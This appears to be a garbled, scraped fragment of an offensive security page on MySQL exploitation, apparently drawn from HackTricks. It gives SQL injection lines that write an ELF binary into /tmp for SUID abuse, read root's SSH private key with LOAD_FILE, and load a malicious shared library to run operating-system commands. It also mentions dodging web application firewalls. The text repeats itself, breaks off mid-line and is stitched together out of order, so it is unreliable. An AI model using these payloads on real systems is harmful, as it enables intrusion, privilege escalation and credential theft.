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-- Write a SUID binary SELECT 0x7f454c46... INTO DUMPFILE '/tmp/suid_bin'; -- Then chmod +s via sys_exec if available
-- Read SSH keys (if MySQL running as root — rare but possible) SELECT LOAD_FILE('/root/.ssh/id_rsa'); mysql hacktricks verified
For SQL injection into MySQL, use these to bypass WAFs: -- Write a SUID binary SELECT 0x7f454c46
This method allows an attacker with low-level MySQL access to execute OS-level commands as the user running the MySQL service (often root or SYSTEM ) by loading a malicious shared library. : Credentials to connect to the MySQL service. Permissions to create tables and functions. For SQL injection into MySQL